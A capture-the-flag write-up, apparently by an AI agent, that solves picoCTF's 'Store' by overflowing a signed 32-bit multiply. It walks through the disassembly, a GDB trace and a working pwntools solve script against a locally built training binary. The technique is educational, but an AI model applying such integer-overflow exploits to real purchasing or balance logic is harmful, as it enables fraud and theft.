`numb3r3_4r3nt_s4f3`: how `imul eax,eax,0x3e8` buys you a flag you can't afford

---

picoCTF's "Store" is the friendliest possible introduction to integer overflow: a vending-machine menu where buying too many of the cheap thing makes you rich enough to buy the expensive thing. This is the whole story of one signed 32-bit multiply that nobody bounds-checked — traced from C source, through the imul in main, into a live GDB session, and out the other side as a pwntools exploit.

The target

picoCTF's practice gym serves its binaries from artifact hosts that aren't reachable from this sandbox (artifacts.picoctf.net and the *.picoctf.net challenge servers all time out behind the allowlist proxy; only play.picoctf.org answers, and only with a 403). The brief explicitly allows the other route — "the picoCTF GitHub archive" — so that's where I went. picoCTF ships the source of "Store" in their official picoCTF-2019-example-problems repository, the same way the live challenge ships a Source link next to the binary. I pulled the exact file and built it the way the platform's hacksport "Compiled" template does — a plain gcc invocation on a modern toolchain.

$ sha256sum store.c store
d40d6089b462cba535bb8ffb11e7dba55b1571a37405f2efeb9bc303739dda96  store.c
624dfcd7717c1367f98c252d9a13d137be34df344234cab8bef6f056e37f2b49  store
$ gcc store.c -o store          # Debian gcc 15.2.0
$ file store
store: ELF 64-bit LSB pie executable, x86-64, dynamically linked,
       interpreter /lib64/ld-linux-x86-64.so.2, not stripped

checksec from pwntools 4.15.0:

$ pwn checksec store
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

Hold onto that mitigation list. It's a beautiful red herring — every box that's ticked or unticked here is about memory corruption, and the bug we're going to use isn't a memory-corruption bug at all. We'll come back to why none of it matters.

The first 64 bytes are an unremarkable PIE header (e_type = 0x03, ET_DYN; entry at 0x10c0):

$ xxd -l 64 store
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0300 3e00 0100 0000 c010 0000 0000 0000  ..>.............
00000020: 4000 0000 0000 0000 5038 0000 0000 0000  @.......P8......
00000030: 0000 0000 4000 3800 0e00 4000 1f00 1e00  [email protected]...@.....

First impressions

Run it and you get a store front. The problem.json tags the challenge organization as "picoCTF-2018", so the era is pre-modern but the bug is timeless.

$ printf '1\n3\n' | ./store
Welcome to the Store App V1.0
World's Most Secure Purchasing App

[1] Check Account Balance
[2] Buy Stuff
[3] Exit

 Enter a menu selection
 Balance: 1100

You start with 1100 units. There are two things you can buy: imitation flags at 1000 each, and one Real Flag whose gate requires a balance above 100000. The arithmetic is deliberately hopeless — you have 1100, the flag gate requires a balance above 100000, and the only way to earn money is… not offered. There is no "deposit" menu. The intended solution has to create money out of the rules of the game itself.

The source picoCTF ships

Because Store ships its source, we don't have to recover the logic — but we'll still verify every claim against the compiled main, because the source is a map and the disassembly is the territory. Here are the two arithmetic regions that matter, lifted verbatim from store.c (sha256 d40d…dda96):

int account_balance = 1100;
...
int number_flags = 0;
scanf("%d", &number_flags);
if(number_flags > 0){
    int total_cost = 0;
    total_cost = 1000*number_flags;
    printf("\nYour total cost is: %d\n", total_cost);
    if(total_cost <= account_balance){
        account_balance = account_balance - total_cost;
        printf("\nYour new balance: %d\n\n", account_balance);
    }
    else{ printf("Not enough funds\n"); }
}

if(bid == 1){
    if(account_balance > 100000){
        char flag[MAX_FLAG_LEN];          /* MAX_FLAG_LEN == 64 */
        FILE *f = fopen("flag.txt","r");
        ...
        fgets(flag,MAX_FLAG_LEN,f);
        printf("YOUR FLAG IS: %s\n", flag);
    }
    else{ printf("\nNot enough funds for transaction\n\n\n"); }
}

Every variable here is a signed int. total_cost = 1000 * number_flags has no overflow check. account_balance = account_balance - total_cost has no underflow check. And the gate to the flag is a signed comparison account_balance > 100000. Three signed ints and an unbounded multiply — that's the entire vulnerability surface. The question is whether the compiler actually emitted the naive, wrap-around arithmetic the C describes, or whether it did something cleverer. Let's read the binary.

Static pass: main, block by block

main is one big function at 0x11a9 (the binary is not stripped, so the symbol is right there). I'll walk the load-bearing blocks; every snippet is objdump -d -M intel store, Intel syntax, addresses as emitted. First the prologue and the two state variables that live for the whole loop:

00000000000011a9 <main>:
    11a9:  push   rbp
    11aa:  mov    rbp,rsp
    11ad:  sub    rsp,0x70
    ...
    11c5:  mov    DWORD PTR [rbp-0x4],0x0      ; con = 0      (loop flag)
    11cc:  mov    DWORD PTR [rbp-0x8],0x44c    ; account_balance = 1100

0x44c is 1100. So the stack map is already taking shape. By following each scanf (lea rax,[rbp-N] immediately before the call) I recovered the full layout of the 0x70-byte frame:

Slot	Source variable	Notes
[rbp-0x4]	con	outer-loop "keep going" flag
[rbp-0x8]	account_balance	initialised to 0x44c = 1100
[rbp-0x10]	FILE *f	the flag.txt handle
[rbp-0x14]	total_cost	the overflow lands here
[rbp-0x18]	menu	top-level selection
[rbp-0x1c]	auction_choice	imitation (1) vs real (2)
[rbp-0x20]	number_flags	our overflow input
[rbp-0x24]	bid	must equal 1
[rbp-0x70]	char flag[64]	the buffer fgets fills

The top-level menu dispatch is a chain of cmp/jne. menu == 1 prints the balance; menu == 2 enters the buy submenu; anything else sets con = 1 and the loop exits. Inside "buy", auction_choice is read into [rbp-0x1c] and compared:

    12e5:  mov    eax,DWORD PTR [rbp-0x1c]    ; auction_choice
    12e8:  cmp    eax,0x1
    12eb:  jne    13a8 <main+0x1ff>           ; !=1 -> try the "real flag" branch

The guard that forces you to overflow

Before the multiply, there's a single check on number_flags, and it's the reason you can't just type a negative number to go straight into debt:

    1331:  mov    eax,DWORD PTR [rbp-0x20]    ; number_flags
    1334:  test   eax,eax
    1336:  jle    14a4 <main+0x2fb>           ; signed <= 0 -> bail to loop top

test eax,eax followed by jle is a signed "less-or-equal to zero" test (it reads SF/OF/ZF). So number_flags must be strictly positive. You cannot hand the program a negative quantity. The only door left is to make a positive count multiply into a negative cost.

The multiply with no seatbelt

    133c:  mov    DWORD PTR [rbp-0x14],0x0    ; total_cost = 0
    1343:  mov    eax,DWORD PTR [rbp-0x20]    ; eax = number_flags
    1346:  imul   eax,eax,0x3e8              ; eax = number_flags * 1000
    134c:  mov    DWORD PTR [rbp-0x14],eax    ; total_cost = eax

0x3e8 is 1000. imul is a two's-complement multiply on a 32-bit register, and the result is truncated to 32 bits with no overflow trap — the carry/overflow flags are set but nobody checks them. This single instruction is the vulnerability. Any number_flags above floor(2^31 / 1000) = 2147483 makes the 32-bit product cross 0x80000000 and read back as negative — but only up to a point: the product reads negative for number_flags in roughly [2147484, 4294967], and at n = 4294968 the product wraps past 2^32 and reads positive again.

Two signed comparisons that trust the overflow

    1368:  mov    eax,DWORD PTR [rbp-0x14]    ; total_cost
    136b:  cmp    eax,DWORD PTR [rbp-0x8]     ; total_cost vs account_balance
    136e:  jg     1394 <main+0x1eb>           ; signed > -> "Not enough funds"
    1370:  mov    eax,DWORD PTR [rbp-0x14]
    1373:  sub    DWORD PTR [rbp-0x8],eax     ; account_balance -= total_cost

jg is a signed "greater than". A negative total_cost is comfortably <= 1100, so the affordability check passes — and then sub subtracts a negative number, i.e. adds to the balance. The store pays you to take its imitation flags.

Finally, the flag gate and the read:

    1414:  cmp    DWORD PTR [rbp-0x8],0x186a0  ; account_balance vs 100000
    141b:  jle    148c <main+0x2e3>            ; signed <= -> "Not enough funds"
    ...
    1431:  call   1090 <fopen@plt>             ; fopen("flag.txt","r")
    ...
    1462:  mov    esi,0x40
    146a:  call   1060 <fgets@plt>             ; fgets(flag, 64, f)
    ...
    1485:  call   1050 <printf@plt>            ; "YOUR FLAG IS: %s"

0x186a0 is 100000, and jle is signed again. The rodata confirms what's being opened and printed:

$ objdump -s -j .rodata store | grep -iE "flag|YOUR"
 21d0 6c61672e 74787400 466c6167 2046696c  lag.txt.Flag Fil
 2210 69726563 746f7279 00594f55 5220464c  irectory.YOU R FL

So the complete chain of trust is: a positive count → a negative product (imul, no check) → passes a signed affordability test (jg) → sub inflates the balance → passes a signed flag gate (jle) → fgets reads flag.txt. Four signed operations, zero overflow guards.

Doing the arithmetic

It's tempting to think "any huge number wins". It doesn't, and the boundaries are instructive — there are two overflows in play, not one, and they fight each other.

The signed-wrap function is the shape of the whole bug. If you normalise the unsigned 32-bit product to the unit interval, the signed reinterpretation is exactly s = u − round(u): a clean ramp that plunges from +max to −max the instant the product crosses the halfway mark 2^31.

Let me state the constraints precisely. Let tc = int32(1000·n) and bal = int32(1100 − tc). To win we need both:

1. tc <= 1100 — pass the jg affordability check (so tc must be negative, since any positive multiple of 1000 ≥ 1000 quickly exceeds 1100);
2. bal > 100000 — pass the jle flag gate.

But bal = 1100 − tc is also a 32-bit sub. If tc is hugely negative, 1100 − tc overflows INT_MAX and wraps back to negative — which is exactly what happens at the first candidate, n = 2147484. So the winning tc must be negative but not too negative. Working it out: tc ∈ [1100 − INT_MAX, −98901], which back-solves to a contiguous window of valid counts. range.py enumerates it:

#!/usr/bin/env python3
# Enumerate which number_flags values win, and find the exact boundaries.
def to_int32(x):
    x &= 0xffffffff
    return x - 2**32 if x >= 2**31 else x

START = 1100
def outcome(n):
    tc = to_int32(1000 * n)            # imul eax,eax,0x3e8
    if tc > START:                     # cmp eax,[rbp-8]; jg -> "Not enough funds"
        return tc, None, "rejected: total_cost > balance"
    bal = to_int32(START - tc)         # sub [rbp-8],eax (also a 32-bit op)
    win = bal > 100_000                # cmp [rbp-8],0x186a0; jle
    return tc, bal, ("WIN" if win else "lose: balance <= 100000")

wins = [n for n in range(1, 5_000_000) if outcome(n)[2] == "WIN"]
lo, hi = wins[0], wins[-1]
print(f"winning window for number_flags: [{lo}, {hi}]  ({hi-lo+1} values)")
print()
print(f"{'n':>10} | {'total_cost (i32)':>17} | {'balance (i32)':>14} | result")
print("-"*70)
for n in [1, 1000, 1100, 1101, 2147483, 2147484, lo, 3000000, hi, hi+1]:
    tc, bal, res = outcome(n)
    print(f"{n:>10} | {tc:>17} | {str(bal):>14} | {res}")

$ python3 range.py
winning window for number_flags: [2147485, 4294868]  (2147384 values)

         n |  total_cost (i32) |  balance (i32) | result
----------------------------------------------------------------------
         1 |              1000 |            100 | lose: balance <= 100000
      1000 |           1000000 |           None | rejected: total_cost > balance
      1100 |           1100000 |           None | rejected: total_cost > balance
      1101 |           1101000 |           None | rejected: total_cost > balance
   2147483 |        2147483000 |           None | rejected: total_cost > balance
   2147484 |       -2147483296 |    -2147482900 | lose: balance <= 100000
   2147485 |       -2147482296 |     2147483396 | WIN
   3000000 |       -1294967296 |     1294968396 | WIN
   4294868 |            -99296 |         100396 | WIN
   4294869 |            -98296 |          99396 | lose: balance <= 100000

Read that table top to bottom and the whole bug is laid out:

• n = 1: honest. total_cost 1000, balance 100. No overflow, no flag.
• n = 1000…2147483: total_cost is positive and bigger than 1100, so the jg rejects it with "Not enough funds". The product hasn't crossed 2^31 yet.
• n = 2147484 (the first count whose product crosses 2^31): total_cost wraps to −2147483296, but 1100 − (−2147483296) overflows INT_MAX and the balance wraps back to negative. Double overflow — you've gone all the way around the dial. The flag gate sees a negative balance and refuses.
• n = 2147485: the sweet spot starts. total_cost −2147482296, balance 2147483396 (just under INT_MAX = 2147483647), gate passes.
• n = 4294868: the last winner — here total_cost is only mildly negative (−99296), balance 100396, just barely over 100000.
• n = 4294869: total_cost climbs to −98296, balance 99396, one short of the gate. Window closed.

Any count in [2147485, 4294868] wins. The exploit will just take the smallest.

Watching it overflow in GDB

Numbers on paper are an argument; a register snapshot is proof. The binary is PIE, so I set breakpoints at instruction offsets relative to main (break *main+OFF) rather than absolute addresses. Here's the tracer:

set pagination off
set disassembly-flavor intel
break *main+0x19d     # imul eax,eax,0x3e8  (total_cost = number_flags * 1000)
break *main+0x1ca     # sub  [rbp-0x8],eax  (account_balance -= total_cost)
break *main+0x26b     # cmp  [rbp-0x8],0x186a0  (account_balance > 100000 ?)
run < /labs-output/ovf.in

printf "\n[imul] number_flags (eax) = %d\n", $eax
stepi
printf "[imul] total_cost  (eax) = %d  (0x%x)\n", $eax, $eax
continue

printf "\n[sub] account_balance before = %d\n", *(int*)($rbp-8)
stepi
printf "[sub] account_balance after  = %d\n", *(int*)($rbp-8)
continue

printf "\n[cmp] account_balance = %d  vs threshold 100000\n", *(int*)($rbp-8)
printf "[cmp] signed (bal>100000)? %d\n", (*(int*)($rbp-8)) > 100000
continue
quit

(main+0x19d is 0x1346 − 0x11a9; main+0x1ca is the sub at 0x1373; main+0x26b is the gate cmp at 0x1414.) The input file ovf.in is the menu path 2,1,3000000,2,2,1,3. Running it:

$ gdb -q -batch -x trace.gdb ./store
Breakpoint 1, 0x...346 in main ()
[imul] number_flags (eax) = 3000000
[imul] total_cost  (eax) = -1294967296  (0xb2d05e00)

Breakpoint 2, 0x...373 in main ()
[sub] account_balance before = 1100
[sub] account_balance after  = 1294968396

Breakpoint 3, 0x...414 in main ()
[cmp] account_balance = 1294968396  vs threshold 100000
[cmp] signed (bal>100000)? 1
YOUR FLAG IS: picoCTF{numb3r3_4r3nt_s4f3_deadbeef}

There it is, live. eax = 3000000 goes into imul eax,eax,0x3e8, and one stepi later eax = -1294967296 (0xb2d05e00 — note the top bit set, that's why it reads negative). The sub turns 1100 into 1294968396. The gate's signed comparison returns 1. The flag prints. The C abstract machine and the silicon agree: 0x3e8 × 3000000 mod 2^32, reinterpreted as int32, is negative, and the program never noticed.

The exploit

Driving the menu by hand is fine, but a clean pwntools script makes the primitive reproducible and self-documenting. It computes the minimal winning count from first principles (so it would adapt if the starting balance or prices changed) and walks the menu with sendlineafter:

#!/usr/bin/env python3
# Exploit for picoCTF "Store" (picoCTF-2018), local build.
# Primitive: signed 32-bit integer overflow in  total_cost = 1000 * number_flags
# (the `imul eax,eax,0x3e8` at main+0x19d). A large positive count wraps to a
# negative total_cost; subtracting a negative number INFLATES account_balance
# past the 100000 gate, so the program reads flag.txt for us.
from pwn import *

context.log_level = "info"
context.arch = "amd64"

INT_MIN, INT_MAX = -2**31, 2**31 - 1

def to_int32(x):
    x &= 0xffffffff
    return x - 2**32 if x >= 2**31 else x

def balance_after(n, start=1100):
    total_cost = to_int32(1000 * n)          # imul eax,eax,0x3e8  (signed wrap)
    return to_int32(start - total_cost), total_cost

def pick_count(start=1100):
    """Smallest n>0 whose wrapped total_cost leaves balance in (100000, INT_MAX]."""
    for n in range(1, 5_000_000):
        bal, tc = balance_after(n, start)
        if tc <= start and bal > 100_000:   # passes both signed checks
            return n, tc, bal
    raise RuntimeError("no count found")

n, tc, bal = pick_count()
log.info("chosen number_flags = %d", n)
log.info("wrapped total_cost  = %d (0x%08x)", tc, tc & 0xffffffff)
log.info("balance after buy   = %d  (> 100000 -> flag)", bal)

io = process("./store")
io.sendlineafter(b"menu selection", b"2")     # Buy Stuff
io.sendlineafter(b"Real Flag",      b"1")     # auction 1: imitation flags
io.sendlineafter(b"how many",       str(n).encode())   # overflow here
io.sendlineafter(b"menu selection", b"2")     # Buy Stuff again
io.sendlineafter(b"Real Flag",      b"2")     # auction 2: the real flag
io.sendlineafter(b"to purchase",    b"1")     # bid == 1
io.recvuntil(b"YOUR FLAG IS: ")
print("[+] FLAG:", io.recvline().strip().decode())
io.sendline(b"3")
io.close()

$ python3 solve.py
[*] chosen number_flags = 2147485
[*] wrapped total_cost  = -2147482296 (0x80000548)
[*] balance after buy   = 2147483396  (> 100000 -> flag)
[+] Starting local process './store': pid 707
[+] FLAG: picoCTF{numb3r3_4r3nt_s4f3_deadbeef}
[*] Stopped process './store' (pid 707)

The solver picks n = 2147485, the very first value in the winning window, whose wrapped cost is 0x80000548 (top bit set → negative). Against the live picoCTF instance you'd swap process("./store") for remote(host, port) and the rest is identical; the flag.txt there contains the real picoCTF{numb3r3_4r3nt_s4f3_<8 hex>}, which is the placeholder our local build's flag.txt stands in for.

Mitigations present, and why none of them care

Now back to that checksec output. NX is on, PIE is on, Partial RELRO, no stack canary. A reflexive pwn instinct says "no canary → stack smash" and goes hunting for a gets. There isn't one, and it wouldn't matter. Every input goes through scanf("%d", …) into a fixed int, and the only buffer, flag[64], is filled by fgets(flag, 64, f) — bounded. There is no out-of-bounds write anywhere in this program.

That's the lesson hiding in the mitigation table. NX, PIE, RELRO, and stack canaries are all defenses against memory-safety violations — they make it harder to inject code, to locate gadgets, to overwrite a saved return address, to clobber GOT entries. An integer overflow is none of those things. No memory is corrupted. The program does exactly what the compiler told it to: it multiplies two ints and the result wraps, because that's what fixed-width two's-complement arithmetic does. Every byte stays in bounds. The exploit is 100% spec-compliant C behaviour (signed overflow is technically UB in C, but in practice gcc emits the wrap, and the binary is the contract). You could compile this with -fstack-protector-all -pie -Wl,-z,relro,-z,now -D_FORTIFY_SOURCE=3 and the exploit would be byte-for-byte unchanged. The one exception is the toolchain knob that actually targets this bug class: -fsanitize=signed-integer-overflow (part of -fsanitize=undefined) or -ftrapv would turn the imul wrap into a runtime abort, killing the exploit at the source of the overflow rather than downstream. The right fix lives in the source, not the linker flags: check the multiply (if (number_flags > account_balance/1000) reject;), or use a width that can't overflow at these magnitudes, or — best — compare against a sane upper bound on number_flags before doing any arithmetic at all.

This is why integer bugs are sneaky. They sail straight through the hardening checklist that catches the flashier memory-corruption families.

What the author intended

Because Store ships as an official picoCTF problem, we can check our reconstruction against the author's own problem definition — not a third-party writeup, but the problem.json and challenge.py that define the challenge. The hint is unambiguous:

"Two's compliment can do some weird things when numbers get really big!" — store/problem.json, hint field (author "Danny")

That's precisely the primitive we used: signed two's-complement wrap on a multiply. And the flag generator confirms the theme:

# store/challenge.py
def generate_flag(self, random):
    hexdigits = "{:08x}".format(random.randrange(16**8))
    return  "picoCTF{numb3r3_4r3nt_s4f3_%s}" % hexdigits

numb3r3_4r3nt_s4f3 — numbers aren't safe. The author built the whole thing around the integer-overflow punchline, right down to the flag text.

Where my reconstruction went beyond the one-line hint: the author's framing implies "make the number big and you win", but the binary has a second overflow that the hint doesn't mention. The naive "just type a gigantic number" attempt (n = 2147484, the first count that overflows total_cost) actually fails, because 1100 − total_cost overflows INT_MAX a second time and the balance wraps back negative. You have to land in the window [2147485, 4294868]. The minimal winning input is one larger than the first number most people would try. The README.md notes one design subtlety I'd have respected anyway — "read the flag out of a file rather than put it in the binary since then it can be trivially solved with strings" — which is why the disassembly shows an fopen("flag.txt")/fgets rather than a baked-in string.

Artefacts

The download tarball contains: store.c (sha256 d40d…dda96), the compiled store (sha256 624d…2b49), solve.py, range.py, trace.gdb, and ovf.in. Everything in this post is reproducible by copy-paste — fetch store.c from picoCTF's example-problems repo, gcc store.c -o store, drop a flag.txt next to it, and run solve.py.

References

• picoCTF official example problems (source archive): github.com/picoCTF/picoCTF-2019-example-problems, store/
• picoCTF practice gym (Binary Exploitation): https://play.picoctf.org/practice?category=2
• Tools: gcc 15.2.0, GNU gdb (batch mode), objdump/xxd (binutils), pwntools 4.15.0
• CWE-190 (Integer Overflow or Wraparound), CWE-191 (Integer Underflow) — the bug class, by name